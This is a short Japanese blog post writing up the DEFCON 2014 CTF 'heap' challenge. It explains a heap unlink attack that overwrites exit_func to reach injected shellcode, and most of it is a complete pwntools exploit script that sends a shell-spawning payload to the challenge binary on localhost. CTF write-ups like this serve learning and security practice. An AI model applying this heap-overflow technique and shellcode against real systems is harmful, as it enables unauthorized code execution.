読者です 読者をやめる 読者になる 読者になる

ブログ未満のなにか

ブログなのか誰にも分からない

DEFCON 2014 CTF - Baby's First: 1 - heap

はじめに

heap系の問題が良くわからないので、katagaitai CTF勉強会(https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)で取り上げられていた問題を解いてみた。
やっていることはだいたい同じなので、違うところだけを書いていく。

exploit

kataigait CTF勉強会では、printfのGOTを書き換えてeipを奪っていた。exit_funcでも良くね?と思い、exit_funcを書き換える方向でやってみた。
飛ばす先は、チャンクの先頭(?)で、unlinkの際に書きかわる部分は、mov eax, みたいな命令でやりすごしている。
全てのfreeが完了したら、exit_funcから入力したシェルコードが呼ばれてシェルが起動する。

from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log

RHOST = "localhost"
RPORT = 8080
LHOST = "127.0.0.1"
LPORT = 8080

# libc = ELF('')
elf = ELF('./heap')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        #b *{0}
        #b *0x8048afa
        ignore 2 0x0a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./heap'], execute=execute)
else:
    conn = process(['./heap'])
    # conn = process(['./heap'], env={'LD_PRELOAD': ''})

# preparing for exploitation
bufsize = 260

exit_func = 0x804c8ac
printf_got = 0x804C004

log.info('Pwning')

conn.recvuntil("size=755]\n[ALLOC][loc=")
shellcode_base = int(conn.recv(7), 16)
log.info("{:#x}".format(shellcode_base))
conn.recvuntil('[size=260]:')

payload = "\x90\x90\x90\xb8"
payload += "JUNK"   # overwrite at unlink
payload += asm(shellcraft.sh())
payload += "A" * (bufsize - len(payload))
payload += p32(0x1)
payload += p32(exit_func - 8)
payload += p32(shellcode_base)

conn.sendline(payload)

conn.interactive()